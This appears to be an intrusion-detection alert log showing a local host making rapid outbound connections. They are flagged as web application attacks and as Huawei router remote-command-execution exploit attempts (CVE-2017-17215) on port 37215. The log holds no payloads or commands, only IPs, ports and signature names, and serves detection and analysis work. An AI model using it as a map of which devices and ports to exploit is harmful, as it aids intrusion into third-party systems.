2024-10-17T02:19:42.151214+0200	2029034	1	Web Application Attack	192.168.2.14	59524	2.168.41.147	443	TCP
2024-10-17T02:19:43.499770+0200	2029034	1	Web Application Attack	192.168.2.14	53526	175.135.73.178	80	TCP
2024-10-17T02:19:43.537359+0200	2029034	1	Web Application Attack	192.168.2.14	55348	196.201.9.128	80	TCP
2024-10-17T02:19:44.164167+0200	2029034	1	Web Application Attack	192.168.2.14	33508	210.29.71.196	443	TCP
2024-10-17T02:19:45.484716+0200	2029034	1	Web Application Attack	192.168.2.14	52874	207.45.81.68	80	TCP
2024-10-17T02:19:50.549273+0200	2029034	1	Web Application Attack	192.168.2.14	39766	174.24.2.27	80	TCP
2024-10-17T02:19:50.606267+0200	2029034	1	Web Application Attack	192.168.2.14	41198	96.128.202.170	80	TCP
2024-10-17T02:19:50.701199+0200	2029034	1	Web Application Attack	192.168.2.14	51290	27.147.76.225	80	TCP
2024-10-17T02:19:50.709676+0200	2029034	1	Web Application Attack	192.168.2.14	55720	206.61.33.79	80	TCP
2024-10-17T02:19:50.710864+0200	2029034	1	Web Application Attack	192.168.2.14	60586	155.202.61.115	80	TCP
2024-10-17T02:19:50.763400+0200	2029034	1	Web Application Attack	192.168.2.14	36908	131.123.125.247	80	TCP
2024-10-17T02:19:50.775950+0200	2029034	1	Web Application Attack	192.168.2.14	49670	151.92.33.61	80	TCP
2024-10-17T02:19:50.808511+0200	2029034	1	Web Application Attack	192.168.2.14	40776	118.61.252.110	80	TCP
2024-10-17T02:19:51.083304+0200	2029034	1	Web Application Attack	192.168.2.14	53778	199.4.155.168	80	TCP
2024-10-17T02:19:51.097209+0200	2029034	1	Web Application Attack	192.168.2.14	50640	89.205.249.27	80	TCP
2024-10-17T02:19:51.174010+0200	2029034	1	Web Application Attack	192.168.2.14	58536	65.149.139.140	80	TCP
2024-10-17T02:19:51.196531+0200	2029034	1	Web Application Attack	192.168.2.14	47256	8.195.166.159	80	TCP
2024-10-17T02:19:51.217572+0200	2029034	1	Web Application Attack	192.168.2.14	51788	94.8.190.200	80	TCP
2024-10-17T02:19:51.238264+0200	2029034	1	Web Application Attack	192.168.2.14	57006	107.222.113.58	80	TCP
2024-10-17T02:19:51.250029+0200	2029034	1	Web Application Attack	192.168.2.14	42770	36.46.127.250	80	TCP
2024-10-17T02:19:51.262614+0200	2029034	1	Web Application Attack	192.168.2.14	39670	119.43.17.98	80	TCP
2024-10-17T02:19:51.297429+0200	2029034	1	Web Application Attack	192.168.2.14	40230	57.222.88.137	80	TCP
2024-10-17T02:19:51.319816+0200	2029034	1	Web Application Attack	192.168.2.14	33948	35.45.188.242	80	TCP
2024-10-17T02:19:51.366291+0200	2029034	1	Web Application Attack	192.168.2.14	56104	66.119.106.113	80	TCP
2024-10-17T02:19:51.376164+0200	2029034	1	Web Application Attack	192.168.2.14	48658	34.50.168.128	80	TCP
2024-10-17T02:19:51.416631+0200	2029034	1	Web Application Attack	192.168.2.14	37346	74.67.187.229	80	TCP
2024-10-17T02:19:51.489124+0200	2029034	1	Web Application Attack	192.168.2.14	60416	143.90.220.190	80	TCP
2024-10-17T02:19:51.592718+0200	2029034	1	Web Application Attack	192.168.2.14	34644	176.113.27.165	80	TCP
2024-10-17T02:19:51.624428+0200	2029034	1	Web Application Attack	192.168.2.14	34536	104.67.111.220	80	TCP
2024-10-17T02:19:51.708703+0200	2029034	1	Web Application Attack	192.168.2.14	51180	17.54.164.225	80	TCP
2024-10-17T02:19:51.725896+0200	2029034	1	Web Application Attack	192.168.2.14	48364	174.27.117.70	80	TCP
2024-10-17T02:19:51.763309+0200	2029034	1	Web Application Attack	192.168.2.14	43248	173.138.120.251	80	TCP
2024-10-17T02:19:51.799243+0200	2029034	1	Web Application Attack	192.168.2.14	59064	198.90.180.54	80	TCP
2024-10-17T02:19:52.015865+0200	2029034	1	Web Application Attack	192.168.2.14	47928	59.213.205.136	80	TCP
2024-10-17T02:19:52.028831+0200	2029034	1	Web Application Attack	192.168.2.14	59294	183.101.116.38	80	TCP
2024-10-17T02:19:52.073509+0200	2029034	1	Web Application Attack	192.168.2.14	34964	93.85.10.209	80	TCP
2024-10-17T02:19:52.082866+0200	2029034	1	Web Application Attack	192.168.2.14	57476	208.9.61.39	80	TCP
2024-10-17T02:19:52.116321+0200	2029034	1	Web Application Attack	192.168.2.14	51492	68.253.207.101	80	TCP
2024-10-17T02:19:52.176694+0200	2029034	1	Web Application Attack	192.168.2.14	59144	212.160.200.226	80	TCP
2024-10-17T02:19:52.243996+0200	2029034	1	Web Application Attack	192.168.2.14	49226	62.200.140.21	80	TCP
2024-10-17T02:19:52.247075+0200	2029034	1	Web Application Attack	192.168.2.14	49968	45.36.46.7	80	TCP
2024-10-17T02:19:52.298449+0200	2029034	1	Web Application Attack	192.168.2.14	43052	66.24.173.21	80	TCP
2024-10-17T02:19:52.336251+0200	2029034	1	Web Application Attack	192.168.2.14	55200	27.237.227.136	80	TCP
2024-10-17T02:19:52.399681+0200	2029034	1	Web Application Attack	192.168.2.14	52918	31.184.127.205	80	TCP
2024-10-17T02:19:52.468596+0200	2029034	1	Web Application Attack	192.168.2.14	54670	74.67.219.248	80	TCP
2024-10-17T02:19:52.470184+0200	2029034	1	Web Application Attack	192.168.2.14	50646	25.246.143.164	80	TCP
2024-10-17T02:19:52.850585+0200	2029034	1	Web Application Attack	192.168.2.14	43928	9.97.245.184	80	TCP
2024-10-17T02:19:52.861669+0200	2029034	1	Web Application Attack	192.168.2.14	45522	135.110.177.174	80	TCP
2024-10-17T02:19:53.650638+0200	2029034	1	Web Application Attack	192.168.2.14	47110	113.128.194.225	80	TCP
2024-10-17T02:19:53.683908+0200	2029034	1	Web Application Attack	192.168.2.14	51026	5.130.89.178	80	TCP
2024-10-17T02:19:53.813071+0200	2029034	1	Web Application Attack	192.168.2.14	48600	73.11.181.94	80	TCP
2024-10-17T02:19:53.835461+0200	2029034	1	Web Application Attack	192.168.2.14	33522	117.8.254.220	80	TCP
2024-10-17T02:19:53.876102+0200	2029034	1	Web Application Attack	192.168.2.14	54782	57.193.125.46	80	TCP
2024-10-17T02:19:53.946097+0200	2029034	1	Web Application Attack	192.168.2.14	48318	93.69.149.217	80	TCP
2024-10-17T02:19:53.972573+0200	2029034	1	Web Application Attack	192.168.2.14	49442	54.190.28.113	80	TCP
2024-10-17T02:19:53.996480+0200	2029034	1	Web Application Attack	192.168.2.14	51418	184.113.130.61	80	TCP
2024-10-17T02:19:54.000434+0200	2029034	1	Web Application Attack	192.168.2.14	60822	43.226.11.224	80	TCP
2024-10-17T02:19:54.007402+0200	2029034	1	Web Application Attack	192.168.2.14	46682	24.159.2.208	80	TCP
2024-10-17T02:19:54.057698+0200	2029034	1	Web Application Attack	192.168.2.14	46528	147.49.229.14	80	TCP
2024-10-17T02:19:54.169452+0200	2029034	1	Web Application Attack	192.168.2.14	38624	133.147.117.27	80	TCP
2024-10-17T02:19:54.170796+0200	2029034	1	Web Application Attack	192.168.2.14	47816	189.3.53.250	80	TCP
2024-10-17T02:19:54.218899+0200	2029034	1	Web Application Attack	192.168.2.14	55774	222.80.213.83	80	TCP
2024-10-17T02:19:54.251480+0200	2029034	1	Web Application Attack	192.168.2.14	49924	31.217.15.0	80	TCP
2024-10-17T02:19:54.467219+0200	2029034	1	Web Application Attack	192.168.2.14	50026	161.190.100.158	80	TCP
2024-10-17T02:19:54.488030+0200	2029034	1	Web Application Attack	192.168.2.14	37902	183.246.247.40	80	TCP
2024-10-17T02:19:54.489147+0200	2029034	1	Web Application Attack	192.168.2.14	54414	109.3.101.144	80	TCP
2024-10-17T02:19:54.519221+0200	2029034	1	Web Application Attack	192.168.2.14	53534	82.235.166.47	80	TCP
2024-10-17T02:19:54.863832+0200	2029034	1	Web Application Attack	192.168.2.14	47174	5.15.108.196	80	TCP
2024-10-17T02:19:54.863832+0200	2029034	1	Web Application Attack	192.168.2.14	35872	5.64.195.2	80	TCP
2024-10-17T02:19:57.545266+0200	2029034	1	Web Application Attack	192.168.2.14	34960	185.74.231.206	80	TCP
2024-10-17T02:19:57.568710+0200	2029034	1	Web Application Attack	192.168.2.14	44306	93.215.15.64	80	TCP
2024-10-17T02:19:57.568941+0200	2029034	1	Web Application Attack	192.168.2.14	42104	208.31.172.229	80	TCP
2024-10-17T02:19:57.584557+0200	2029034	1	Web Application Attack	192.168.2.14	43864	122.226.14.9	80	TCP
2024-10-17T02:19:57.599416+0200	2029034	1	Web Application Attack	192.168.2.14	33296	154.118.233.210	80	TCP
2024-10-17T02:19:57.617547+0200	2029034	1	Web Application Attack	192.168.2.14	36538	201.76.39.168	80	TCP
2024-10-17T02:19:57.632257+0200	2029034	1	Web Application Attack	192.168.2.14	44982	222.90.251.56	80	TCP
2024-10-17T02:19:57.635898+0200	2029034	1	Web Application Attack	192.168.2.14	50408	105.39.202.218	80	TCP
2024-10-17T02:19:57.639622+0200	2029034	1	Web Application Attack	192.168.2.14	58550	221.241.124.233	80	TCP
2024-10-17T02:19:57.652626+0200	2029034	1	Web Application Attack	192.168.2.14	52108	76.238.117.139	80	TCP
2024-10-17T02:19:57.653848+0200	2029034	1	Web Application Attack	192.168.2.14	46008	104.58.180.174	80	TCP
2024-10-17T02:19:57.671476+0200	2029034	1	Web Application Attack	192.168.2.14	54094	72.225.88.243	80	TCP
2024-10-17T02:19:57.676773+0200	2029034	1	Web Application Attack	192.168.2.14	37176	97.119.68.125	80	TCP
2024-10-17T02:19:58.566409+0200	2029034	1	Web Application Attack	192.168.2.14	60148	75.168.217.172	80	TCP
2024-10-17T02:19:58.566700+0200	2029034	1	Web Application Attack	192.168.2.14	50870	68.220.201.40	80	TCP
2024-10-17T02:19:58.567667+0200	2029034	1	Web Application Attack	192.168.2.14	37702	17.32.205.241	80	TCP
2024-10-17T02:19:58.567767+0200	2029034	1	Web Application Attack	192.168.2.14	42484	161.102.222.250	80	TCP
2024-10-17T02:19:58.567794+0200	2029034	1	Web Application Attack	192.168.2.14	53258	143.1.161.253	80	TCP
2024-10-17T02:19:58.567900+0200	2029034	1	Web Application Attack	192.168.2.14	36958	131.235.143.94	80	TCP
2024-10-17T02:19:58.567948+0200	2029034	1	Web Application Attack	192.168.2.14	46420	9.180.191.186	80	TCP
2024-10-17T02:19:58.568109+0200	2029034	1	Web Application Attack	192.168.2.14	60088	149.107.115.43	80	TCP
2024-10-17T02:19:58.568177+0200	2029034	1	Web Application Attack	192.168.2.14	37280	117.121.66.73	80	TCP
2024-10-17T02:19:58.578897+0200	2029034	1	Web Application Attack	192.168.2.14	44854	147.91.195.83	80	TCP
2024-10-17T02:19:58.594853+0200	2029034	1	Web Application Attack	192.168.2.14	36114	188.133.193.96	80	TCP
2024-10-17T02:19:58.594908+0200	2029034	1	Web Application Attack	192.168.2.14	46840	175.49.180.42	80	TCP
2024-10-17T02:19:58.602162+0200	2029034	1	Web Application Attack	192.168.2.14	60772	25.152.41.191	80	TCP
2024-10-17T02:19:58.602993+0200	2029034	1	Web Application Attack	192.168.2.14	33268	173.24.42.205	80	TCP
2024-10-17T02:19:58.603289+0200	2029034	1	Web Application Attack	192.168.2.14	41714	24.25.114.92	80	TCP
2024-10-17T02:19:58.603327+0200	2029034	1	Web Application Attack	192.168.2.14	36272	135.46.162.119	80	TCP
2024-10-17T02:19:58.603446+0200	2029034	1	Web Application Attack	192.168.2.14	44198	133.93.157.217	80	TCP
2024-10-17T02:19:58.603580+0200	2029034	1	Web Application Attack	192.168.2.14	51430	46.58.44.127	80	TCP
2024-10-17T02:19:58.603744+0200	2029034	1	Web Application Attack	192.168.2.14	44130	153.132.207.208	80	TCP
2024-10-17T02:19:58.603814+0200	2029034	1	Web Application Attack	192.168.2.14	39716	49.77.113.70	80	TCP
2024-10-17T02:19:58.605621+0200	2029034	1	Web Application Attack	192.168.2.14	40318	116.90.216.16	80	TCP
2024-10-17T02:19:58.607322+0200	2029034	1	Web Application Attack	192.168.2.14	41304	198.232.64.46	80	TCP
2024-10-17T02:19:58.609944+0200	2029034	1	Web Application Attack	192.168.2.14	59808	57.228.96.252	80	TCP
2024-10-17T02:19:58.610368+0200	2029034	1	Web Application Attack	192.168.2.14	35848	91.155.223.28	80	TCP
2024-10-17T02:19:58.611193+0200	2029034	1	Web Application Attack	192.168.2.14	32788	210.224.115.209	80	TCP
2024-10-17T02:19:58.613997+0200	2029034	1	Web Application Attack	192.168.2.14	49368	102.240.78.54	80	TCP
2024-10-17T02:19:58.628721+0200	2029034	1	Web Application Attack	192.168.2.14	54572	198.38.116.108	80	TCP
2024-10-17T02:19:58.629463+0200	2029034	1	Web Application Attack	192.168.2.14	58636	193.72.105.248	80	TCP
2024-10-17T02:19:58.629597+0200	2029034	1	Web Application Attack	192.168.2.14	58110	194.205.234.80	80	TCP
2024-10-17T02:19:58.629736+0200	2029034	1	Web Application Attack	192.168.2.14	43980	209.100.72.91	80	TCP
2024-10-17T02:19:58.630512+0200	2029034	1	Web Application Attack	192.168.2.14	55696	179.248.90.42	80	TCP
2024-10-17T02:19:58.630862+0200	2029034	1	Web Application Attack	192.168.2.14	42050	53.56.132.164	80	TCP
2024-10-17T02:19:58.631330+0200	2029034	1	Web Application Attack	192.168.2.14	36278	140.76.233.172	80	TCP
2024-10-17T02:19:58.638044+0200	2029034	1	Web Application Attack	192.168.2.14	56916	167.200.167.59	80	TCP
2024-10-17T02:19:58.639495+0200	2029034	1	Web Application Attack	192.168.2.14	34298	171.252.203.211	80	TCP
2024-10-17T02:19:58.639544+0200	2029034	1	Web Application Attack	192.168.2.14	34032	107.83.132.43	80	TCP
2024-10-17T02:19:58.673436+0200	2029034	1	Web Application Attack	192.168.2.14	41198	151.218.77.28	80	TCP
2024-10-17T02:19:59.018474+0200	2029034	1	Web Application Attack	192.168.2.14	49824	91.197.211.245	80	TCP
2024-10-17T02:19:59.670453+0200	2029034	1	Web Application Attack	192.168.2.14	49520	98.25.199.244	80	TCP
2024-10-17T02:19:59.676761+0200	2029034	1	Web Application Attack	192.168.2.14	52730	189.216.187.204	80	TCP
2024-10-17T02:19:59.783512+0200	2029034	1	Web Application Attack	192.168.2.14	42914	187.176.140.22	80	TCP
2024-10-17T02:20:00.805516+0200	2029034	1	Web Application Attack	192.168.2.14	41212	179.68.194.15	80	TCP
2024-10-17T02:20:00.805587+0200	2029034	1	Web Application Attack	192.168.2.14	33698	151.151.138.25	80	TCP
2024-10-17T02:20:00.827002+0200	2029034	1	Web Application Attack	192.168.2.14	50466	58.102.104.193	80	TCP
2024-10-17T02:20:01.841902+0200	2029034	1	Web Application Attack	192.168.2.14	52558	31.21.65.53	80	TCP
2024-10-17T02:20:03.881282+0200	2029034	1	Web Application Attack	192.168.2.14	45150	133.63.178.6	80	TCP
2024-10-17T02:20:04.869983+0200	2029034	1	Web Application Attack	192.168.2.14	47266	176.26.30.177	80	TCP
2024-10-17T02:20:04.872031+0200	2029034	1	Web Application Attack	192.168.2.14	58844	185.216.10.132	80	TCP
2024-10-17T02:20:06.923950+0200	2029034	1	Web Application Attack	192.168.2.14	49584	187.204.196.52	80	TCP
2024-10-17T02:20:06.931398+0200	2029034	1	Web Application Attack	192.168.2.14	39288	74.35.52.248	80	TCP
2024-10-17T02:20:06.939532+0200	2029034	1	Web Application Attack	192.168.2.14	46644	75.200.133.91	80	TCP
2024-10-17T02:20:07.945422+0200	2029034	1	Web Application Attack	192.168.2.14	44260	155.19.58.203	80	TCP
2024-10-17T02:20:09.426089+0200	2029034	1	Web Application Attack	192.168.2.14	53880	177.194.0.8	80	TCP
2024-10-17T02:20:09.956567+0200	2029034	1	Web Application Attack	192.168.2.14	49836	110.16.12.243	80	TCP
2024-10-17T02:20:10.186409+0200	2029034	1	Web Application Attack	192.168.2.14	49154	94.254.17.127	80	TCP
2024-10-17T02:20:10.953388+0200	2029034	1	Web Application Attack	192.168.2.14	46170	161.216.103.69	80	TCP
2024-10-17T02:20:10.978934+0200	2029034	1	Web Application Attack	192.168.2.14	44690	86.186.132.2	80	TCP
2024-10-17T02:20:12.003869+0200	2029034	1	Web Application Attack	192.168.2.14	43790	171.47.88.206	80	TCP
2024-10-17T02:20:15.062239+0200	2029034	1	Web Application Attack	192.168.2.14	44814	166.69.38.11	80	TCP
2024-10-17T02:20:15.062313+0200	2029034	1	Web Application Attack	192.168.2.14	46400	45.194.68.172	80	TCP
2024-10-17T02:20:16.033309+0200	2029034	1	Web Application Attack	192.168.2.14	40786	100.128.226.100	80	TCP
2024-10-17T02:20:16.044127+0200	2029034	1	Web Application Attack	192.168.2.14	36842	140.103.181.245	80	TCP
2024-10-17T02:20:16.089828+0200	2029034	1	Web Application Attack	192.168.2.14	49632	95.190.251.224	80	TCP
2024-10-17T02:20:17.919903+0200	2029034	1	Web Application Attack	192.168.2.14	54958	66.126.50.28	80	TCP
2024-10-17T02:20:18.057377+0200	2029034	1	Web Application Attack	192.168.2.14	45988	38.21.217.178	80	TCP
2024-10-17T02:20:18.203180+0200	2029034	1	Web Application Attack	192.168.2.14	57412	144.198.200.70	80	TCP
2024-10-17T02:20:18.923112+0200	2029034	1	Web Application Attack	192.168.2.14	42964	210.98.247.137	80	TCP
2024-10-17T02:20:19.238257+0200	2029034	1	Web Application Attack	192.168.2.14	48476	27.49.26.62	80	TCP

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-17T02:19:43.812812+0200	2835222	1	A Network Trojan was detected	192.168.2.14	53766	156.245.159.165	37215	TCP
2024-10-17T02:19:44.525348+0200	2835222	1	A Network Trojan was detected	192.168.2.14	52572	197.130.19.23	37215	TCP
2024-10-17T02:19:45.965705+0200	2835222	1	A Network Trojan was detected	192.168.2.14	41098	156.130.38.80	37215	TCP
2024-10-17T02:19:47.917046+0200	2835222	1	A Network Trojan was detected	192.168.2.14	53532	197.214.172.28	37215	TCP
2024-10-17T02:19:50.609178+0200	2835222	1	A Network Trojan was detected	192.168.2.14	37682	197.8.130.27	37215	TCP
2024-10-17T02:19:50.663844+0200	2835222	1	A Network Trojan was detected	192.168.2.14	51388	197.227.122.154	37215	TCP
2024-10-17T02:19:50.689617+0200	2835222	1	A Network Trojan was detected	192.168.2.14	58860	197.226.27.20	37215	TCP
2024-10-17T02:19:50.714354+0200	2835222	1	A Network Trojan was detected	192.168.2.14	37498	156.110.225.254	37215	TCP
2024-10-17T02:19:50.723660+0200	2835222	1	A Network Trojan was detected	192.168.2.14	55716	41.24.74.237	37215	TCP
2024-10-17T02:19:50.762892+0200	2835222	1	A Network Trojan was detected	192.168.2.14	36726	197.94.217.178	37215	TCP
2024-10-17T02:19:50.772466+0200	2835222	1	A Network Trojan was detected	192.168.2.14	45456	41.96.201.111	37215	TCP
2024-10-17T02:19:50.800362+0200	2835222	1	A Network Trojan was detected	192.168.2.14	36896	156.42.148.140	37215	TCP
2024-10-17T02:19:50.888852+0200	2835222	1	A Network Trojan was detected	192.168.2.14	35076	197.130.159.152	37215	TCP
2024-10-17T02:19:50.907177+0200	2835222	1	A Network Trojan was detected	192.168.2.14	58904	197.182.193.48	37215	TCP
2024-10-17T02:19:50.931271+0200	2835222	1	A Network Trojan was detected	192.168.2.14	50872	41.146.94.96	37215	TCP
2024-10-17T02:19:50.935356+0200	2835222	1	A Network Trojan was detected	192.168.2.14	34862	156.158.100.93	37215	TCP
2024-10-17T02:19:50.966584+0200	2835222	1	A Network Trojan was detected	192.168.2.14	57766	156.228.182.173	37215	TCP
2024-10-17T02:19:50.966737+0200	2835222	1	A Network Trojan was detected	192.168.2.14	50758	197.153.89.197	37215	TCP
2024-10-17T02:19:50.984336+0200	2835222	1	A Network Trojan was detected	192.168.2.14	42258	156.243.178.7	37215	TCP
2024-10-17T02:19:50.986328+0200	2835222	1	A Network Trojan was detected	192.168.2.14	58144	197.216.228.207	37215	TCP
2024-10-17T02:19:51.001880+0200	2835222	1	A Network Trojan was detected	192.168.2.14	33444	197.151.100.246	37215	TCP
2024-10-17T02:19:51.002030+0200	2835222	1	A Network Trojan was detected	192.168.2.14	38798	41.23.92.152	37215	TCP
2024-10-17T02:19:51.022596+0200	2835222	1	A Network Trojan was detected	192.168.2.14	56320	197.108.80.199	37215	TCP
2024-10-17T02:19:51.039483+0200	2835222	1	A Network Trojan was detected	192.168.2.14	57408	197.167.213.135	37215	TCP
2024-10-17T02:19:51.059109+0200	2835222	1	A Network Trojan was detected	192.168.2.14	53530	197.233.34.205	37215	TCP
2024-10-17T02:19:51.060446+0200	2835222	1	A Network Trojan was detected	192.168.2.14	58236	41.249.70.37	37215	TCP
2024-10-17T02:19:51.111349+0200	2835222	1	A Network Trojan was detected	192.168.2.14	54330	156.222.139.12	37215	TCP
2024-10-17T02:19:51.135704+0200	2835222	1	A Network Trojan was detected	192.168.2.14	51026	156.148.175.0	37215	TCP
2024-10-17T02:19:51.156839+0200	2835222	1	A Network Trojan was detected	192.168.2.14	51174	156.81.108.1	37215	TCP
2024-10-17T02:19:51.214351+0200	2835222	1	A Network Trojan was detected	192.168.2.14	59176	41.240.174.103	37215	TCP
2024-10-17T02:19:51.240742+0200	2835222	1	A Network Trojan was detected	192.168.2.14	54646	156.35.219.54	37215	TCP
2024-10-17T02:19:51.273220+0200	2835222	1	A Network Trojan was detected	192.168.2.14	47832	156.187.4.61	37215	TCP
2024-10-17T02:19:51.294407+0200	2835222	1	A Network Trojan was detected	192.168.2.14	41126	197.137.107.247	37215	TCP
2024-10-17T02:19:51.347687+0200	2835222	1	A Network Trojan was detected	192.168.2.14	34770	41.70.217.138	37215	TCP
2024-10-17T02:19:51.398010+0200	2835222	1	A Network Trojan was detected	192.168.2.14	47740	41.233.212.51	37215	TCP
2024-10-17T02:19:51.422473+0200	2835222	1	A Network Trojan was detected	192.168.2.14	43276	197.251.236.170	37215	TCP
2024-10-17T02:19:51.423841+0200	2835222	1	A Network Trojan was detected	192.168.2.14	52128	156.107.220.177	37215	TCP
2024-10-17T02:19:51.468043+0200	2835222	1	A Network Trojan was detected	192.168.2.14	56800	41.252.236.8	37215	TCP
2024-10-17T02:19:51.482175+0200	2835222	1	A Network Trojan was detected	192.168.2.14	54266	41.4.146.210	37215	TCP
2024-10-17T02:19:51.489559+0200	2835222	1	A Network Trojan was detected	192.168.2.14	40760	156.215.137.184	37215	TCP
2024-10-17T02:19:51.498472+0200	2835222	1	A Network Trojan was detected	192.168.2.14	51690	156.36.78.206	37215	TCP
2024-10-17T02:19:51.508851+0200	2835222	1	A Network Trojan was detected	192.168.2.14	34518	197.78.47.248	37215	TCP
2024-10-17T02:19:51.509165+0200	2835222	1	A Network Trojan was detected	192.168.2.14	48420	41.108.18.107	37215	TCP
2024-10-17T02:19:51.531053+0200	2835222	1	A Network Trojan was detected	192.168.2.14	51458	41.140.60.225	37215	TCP
2024-10-17T02:19:51.538827+0200	2835222	1	A Network Trojan was detected	192.168.2.14	51250	41.33.227.235	37215	TCP
2024-10-17T02:19:51.549747+0200	2835222	1	A Network Trojan was detected	192.168.2.14	50110	197.167.89.226	37215	TCP
2024-10-17T02:19:51.552563+0200	2835222	1	A Network Trojan was detected	192.168.2.14	42090	41.59.142.173	37215	TCP
2024-10-17T02:19:51.571590+0200	2835222	1	A Network Trojan was detected	192.168.2.14	46164	156.136.27.184	37215	TCP
2024-10-17T02:19:51.599807+0200	2835222	1	A Network Trojan was detected	192.168.2.14	60010	156.196.4.63	37215	TCP
2024-10-17T02:19:51.609940+0200	2835222	1	A Network Trojan was detected	192.168.2.14	57582	197.111.212.103	37215	TCP
2024-10-17T02:19:51.722666+0200	2835222	1	A Network Trojan was detected	192.168.2.14	56690	156.174.124.75	37215	TCP
2024-10-17T02:19:51.734384+0200	2835222	1	A Network Trojan was detected	192.168.2.14	54564	41.157.56.29	37215	TCP
2024-10-17T02:19:51.763292+0200	2835222	1	A Network Trojan was detected	192.168.2.14	45386	197.185.101.11	37215	TCP
2024-10-17T02:19:51.785451+0200	2835222	1	A Network Trojan was detected	192.168.2.14	42374	41.37.238.162	37215	TCP
2024-10-17T02:19:52.073376+0200	2835222	1	A Network Trojan was detected	192.168.2.14	37182	197.159.26.158	37215	TCP
2024-10-17T02:19:52.073400+0200	2835222	1	A Network Trojan was detected	192.168.2.14	40402	41.67.208.122	37215	TCP
2024-10-17T02:19:52.143040+0200	2835222	1	A Network Trojan was detected	192.168.2.14	43480	197.67.55.160	37215	TCP
2024-10-17T02:19:52.166288+0200	2835222	1	A Network Trojan was detected	192.168.2.14	37294	41.97.224.74	37215	TCP
2024-10-17T02:19:52.177689+0200	2835222	1	A Network Trojan was detected	192.168.2.14	36972	156.160.243.72	37215	TCP
2024-10-17T02:19:52.221875+0200	2835222	1	A Network Trojan was detected	192.168.2.14	42004	41.74.170.248	37215	TCP
2024-10-17T02:19:52.244057+0200	2835222	1	A Network Trojan was detected	192.168.2.14	55764	41.229.139.194	37215	TCP
2024-10-17T02:19:52.274468+0200	2835222	1	A Network Trojan was detected	192.168.2.14	59196	156.59.108.206	37215	TCP
2024-10-17T02:19:52.400546+0200	2835222	1	A Network Trojan was detected	192.168.2.14	48128	156.220.37.13	37215	TCP
2024-10-17T02:19:52.404645+0200	2835222	1	A Network Trojan was detected	192.168.2.14	43442	41.66.252.94	37215	TCP
2024-10-17T02:19:52.426406+0200	2835222	1	A Network Trojan was detected	192.168.2.14	33508	197.91.13.215	37215	TCP
2024-10-17T02:19:52.495057+0200	2835222	1	A Network Trojan was detected	192.168.2.14	49846	197.128.232.182	37215	TCP
2024-10-17T02:19:52.495085+0200	2835222	1	A Network Trojan was detected	192.168.2.14	50496	197.77.141.197	37215	TCP
2024-10-17T02:19:52.528834+0200	2835222	1	A Network Trojan was detected	192.168.2.14	43582	156.162.153.5	37215	TCP
2024-10-17T02:19:52.566031+0200	2835222	1	A Network Trojan was detected	192.168.2.14	42138	197.190.157.186	37215	TCP
2024-10-17T02:19:52.591791+0200	2835222	1	A Network Trojan was detected	192.168.2.14	47872	197.142.233.40	37215	TCP
2024-10-17T02:19:52.591794+0200	2835222	1	A Network Trojan was detected	192.168.2.14	59662	41.61.10.200	37215	TCP
2024-10-17T02:19:52.600581+0200	2835222	1	A Network Trojan was detected	192.168.2.14	48352	41.53.162.133	37215	TCP
2024-10-17T02:19:52.622430+0200	2835222	1	A Network Trojan was detected	192.168.2.14	46866	41.167.85.71	37215	TCP
2024-10-17T02:19:52.681174+0200	2835222	1	A Network Trojan was detected	192.168.2.14	56732	156.105.45.222	37215	TCP
2024-10-17T02:19:52.831159+0200	2835222	1	A Network Trojan was detected	192.168.2.14	39356	156.68.97.235	37215	TCP
2024-10-17T02:19:52.844842+0200	2835222	1	A Network Trojan was detected	192.168.2.14	47224	197.192.132.151	37215	TCP
2024-10-17T02:19:52.882523+0200	2835222	1	A Network Trojan was detected	192.168.2.14	48180	156.154.137.128	37215	TCP
2024-10-17T02:19:52.882879+0200	2835222	1	A Network Trojan was detected	192.168.2.14	56810	197.133.19.220	37215	TCP
2024-10-17T02:19:53.611799+0200	2835222	1	A Network Trojan was detected	192.168.2.14	39894	197.144.202.170	37215	TCP
2024-10-17T02:19:53.683972+0200	2835222	1	A Network Trojan was detected	192.168.2.14	58188	41.187.219.13	37215	TCP
2024-10-17T02:19:53.689992+0200	2835222	1	A Network Trojan was detected	192.168.2.14	33094	41.218.100.231	37215	TCP
2024-10-17T02:19:53.695849+0200	2835222	1	A Network Trojan was detected	192.168.2.14	44458	41.255.64.17	37215	TCP
2024-10-17T02:19:53.709910+0200	2835222	1	A Network Trojan was detected	192.168.2.14	39080	41.79.247.129	37215	TCP
2024-10-17T02:19:53.722453+0200	2835222	1	A Network Trojan was detected	192.168.2.14	39112	41.255.43.44	37215	TCP
2024-10-17T02:19:53.727856+0200	2835222	1	A Network Trojan was detected	192.168.2.14	51598	197.173.149.57	37215	TCP
2024-10-17T02:19:53.732065+0200	2835222	1	A Network Trojan was detected	192.168.2.14	54736	156.150.26.154	37215	TCP
2024-10-17T02:19:53.807105+0200	2835222	1	A Network Trojan was detected	192.168.2.14	55952	197.166.253.195	37215	TCP
2024-10-17T02:19:53.829178+0200	2835222	1	A Network Trojan was detected	192.168.2.14	60716	197.227.16.10	37215	TCP
2024-10-17T02:19:53.835740+0200	2835222	1	A Network Trojan was detected	192.168.2.14	46318	197.249.221.114	37215	TCP
2024-10-17T02:19:53.879351+0200	2835222	1	A Network Trojan was detected	192.168.2.14	41052	156.235.175.203	37215	TCP
2024-10-17T02:19:53.900239+0200	2835222	1	A Network Trojan was detected	192.168.2.14	56562	156.201.190.43	37215	TCP
2024-10-17T02:19:53.908695+0200	2835222	1	A Network Trojan was detected	192.168.2.14	37684	41.238.65.178	37215	TCP
2024-10-17T02:19:53.972517+0200	2835222	1	A Network Trojan was detected	192.168.2.14	46840	156.210.142.196	37215	TCP
2024-10-17T02:19:54.007369+0200	2835222	1	A Network Trojan was detected	192.168.2.14	59534	41.23.33.34	37215	TCP
2024-10-17T02:19:54.189115+0200	2835222	1	A Network Trojan was detected	192.168.2.14	50266	156.211.41.245	37215	TCP
2024-10-17T02:19:54.220713+0200	2835222	1	A Network Trojan was detected	192.168.2.14	50814	156.91.159.119	37215	TCP
2024-10-17T02:19:54.350489+0200	2835222	1	A Network Trojan was detected	192.168.2.14	45798	41.9.224.55	37215	TCP
2024-10-17T02:19:54.393462+0200	2835222	1	A Network Trojan was detected	192.168.2.14	48418	41.222.25.224	37215	TCP
2024-10-17T02:19:54.424654+0200	2835222	1	A Network Trojan was detected	192.168.2.14	39806	41.181.48.226	37215	TCP
2024-10-17T02:19:54.474549+0200	2835222	1	A Network Trojan was detected	192.168.2.14	35074	156.196.169.177	37215	TCP
